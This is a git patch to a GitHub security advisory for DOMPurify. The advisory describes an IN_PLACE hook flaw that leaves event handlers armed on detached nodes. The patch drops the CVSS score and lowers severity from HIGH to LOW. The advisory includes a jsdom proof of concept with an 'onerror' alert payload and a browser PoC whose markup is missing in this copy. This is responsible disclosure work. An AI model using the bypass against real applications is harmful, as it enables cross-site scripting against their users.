From 05d0d089dc8af1bc912ca683564cf8b6ecac073f Mon Sep 17 00:00:00 2001 From: Cure53 Date: Fri, 23 Oct 2026 14:05:23 +0200 Subject: [PATCH] Improve GHSA-mrv2-3pqr-j5jr --- .../10/GHSA-mrv2-3pqr-j5jr/GHSA-mrv2-3pqr-j5jr.json | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/advisories/github-reviewed/2026/10/GHSA-mrv2-3pqr-j5jr/GHSA-mrv2-3pqr-j5jr.json b/advisories/github-reviewed/2026/10/GHSA-mrv2-3pqr-j5jr/GHSA-mrv2-3pqr-j5jr.json index 7798d99942b1..97ea9c8202df 100644 --- a/advisories/github-reviewed/2026/10/GHSA-mrv2-3pqr-j5jr/GHSA-mrv2-3pqr-j5jr.json +++ b/advisories/github-reviewed/2026/10/GHSA-mrv2-3pqr-j5jr/GHSA-mrv2-3pqr-j5jr.json @@ -1,17 +1,12 @@ { "schema_version": "1.4.0", "id": "GHSA-mrv2-3pqr-j5jr", - "modified": "2026-10-22T16:24:52Z", + "modified": "2026-10-22T16:24:53Z", "published": "2026-10-22T16:24:52Z", "aliases": [], "summary": "DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)", "details": "### Summary\n\nThe 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an `` that was already loading fires after `sanitize()` returns.\n\nThe README says: \"Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an `` that was already loading when you built the live tree cannot fire after `sanitize()` returns.\" That does not hold when the detached node is not the hook's own node.\n\n### Tested versions\n\n- 3.4.16 (latest) and main at 18f8f0e\n- also 3.4.15, 3.4.12 and 2.5.8\n\njsdom for the matrix below, and Chromium (Playwright) for the event actually firing.\n\n### Details\n\n`src/purify.ts` line 2134 (`dist/purify.cjs.js` line 2009 in 3.4.16), `_handleHookDetachedNode()`:\n\n```js\nif (currentNode === root || getParentNode(currentNode) !== null) {\n return false;\n}\nif (IN_PLACE) {\n _neutralizeSubtree(currentNode);\n}\n```\n\nIt only checks whether `currentNode` lost its parent. When a hook removes `currentNode.parentNode` (or any ancestor), `currentNode` still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in `DOMPurify.removed`, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.\n\n### PoC (jsdom)\n\n```js\nconst { JSDOM } = require('jsdom')\nconst createDOMPurify = require('dompurify')\nconst win = new JSDOM('').window\nconst doc = win.document\n\nfor (const mode of ['self', 'parent', 'nextSibling']) {\n const DOMPurify = createDOMPurify(win)\n doc.body.innerHTML = '
' +\n '

ok

'\n const root = doc.getElementById('root')\n const evil = doc.getElementById('evil')\n\n // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)\n DOMPurify.addHook('afterSanitizeAttributes', (node) => {\n if (node.getAttribute && node.getAttribute('class') === 'bad') {\n if (mode === 'self') node.remove()\n if (mode === 'parent') node.parentNode.remove()\n if (mode === 'nextSibling') node.nextElementSibling.remove()\n }\n })\n\n DOMPurify.sanitize(root, { IN_PLACE: true })\n console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))\n}\n```\n\nOutput on 3.4.16:\n\n```\n3.4.16 self onerror = null\n3.4.16 parent onerror = \"alert(1)\"\n3.4.16 nextSibling onerror = \"alert(1)\"\n```\n\nIn `self` mode the walker still reaches the second image and strips `onerror`. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of `beforeSanitizeElements`, `uponSanitizeElement`, `afterSanitizeElements`, `beforeSanitizeAttributes` and `afterSanitizeAttributes`.\n\n### PoC (browser)\n\nThe same thing in a real page, served from 127.0.0.1 and opened in Chromium:\n\n```html\n\n\n
\n\n```\n\nResult on 3.4.16:\n\n```\nversion=3.4.16\nself out=
ok
\nparent out=
ok
\nfired=[\"parent\"]\n```\n\nThe returned tree is clean in both cases, but the handler on the detached image runs in the page for `parent`.\n\n### Impact\n\nAn app that uses `IN_PLACE` with a hook that removes a wrapper or a nearby element (for example \"drop the whole `
` if its image is not allowed\") gets DOM XSS from attacker markup after `sanitize()` returns. It needs that kind of hook, so it falls under \"input plus an application choice\" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.\n\n### Suggested fix\n\nInstead of only checking `currentNode`, check after each hook call whether anything outside the current node was detached. Two simple options:\n\n- before calling a hook in `IN_PLACE` mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under `root`\n- or, after the walk, neutralize every element that was in the original tree but is no longer connected to `root` (for example by collecting the elements before the walk)",
-  "severity": [
-    {
-      "type": "CVSS_V4",
-      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
-    }
-  ],
+  "severity": [],
   "affected": [
     {
       "package": {
@@ -63,7 +58,7 @@
       "CWE-693",
       "CWE-79"
     ],
-    "severity": "HIGH",
+    "severity": "LOW",
     "github_reviewed": true,
     "github_reviewed_at": "2026-10-22T16:24:52Z",
     "nvd_published_at": null